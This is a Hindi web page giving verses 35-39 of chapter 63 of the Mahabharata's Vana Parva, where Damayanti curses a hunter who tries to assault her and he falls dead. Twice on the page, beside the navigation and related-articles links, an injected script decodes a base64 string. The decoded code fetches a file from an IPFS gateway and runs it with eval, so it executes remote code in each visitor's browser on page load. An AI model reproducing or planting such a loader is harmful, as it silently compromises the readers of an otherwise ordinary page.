महाभारत वन पर्व अध्याय 63 श्लोक 35-39
त्रिषष्टितम (63) अध्याय: वन पर्व (नलोपाख्यान पर्व)
पतिव्रता दमयन्ती भी उसकी दुष्टता को समझकर तीव्र क्रोध के वशीभूत हो मानों रोषाग्नि से प्रज्वलित हो उठी। यद्यपि वह नीच पापात्मा व्याध उस पर बलात्कार करने के लिये व्याकुल हो गया था, परन्तु दमयन्ती अग्निशिखा की भांति उद्दीप्त हो रही थी, अतः उसका स्पर्श करना उसको दुष्कर प्रतीत हुआ। पति तथा राज्य दोनों से वंचित होने के कारण दमयन्ती अत्यन्त दुःख से आतुर हो रही थी। इधर व्याध की कुचेष्टा वाणीद्वारा रोकने पर रूक सके, ऐसी प्रतीत नहीं होती थी । तब (उस व्याधपर अत्यन्त रूष्ट हो) उसने उसे शाप दे दिया-‘यदि मैं निषधराज नल के सिवा दूसरे किसी पुरूष का मन में भी चिन्तन भी करती होऊं, तो इसके प्रभाव से यह तुच्छ व्याध प्राणशून्य होकर गिर पड़े’। दमयन्ती इतना कहते ही वह व्याध आग से जले हुए वृक्ष की भांति प्राणशून्य होकर पृथ्वी पर गिर पड़ा।
« पीछे | आगे » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>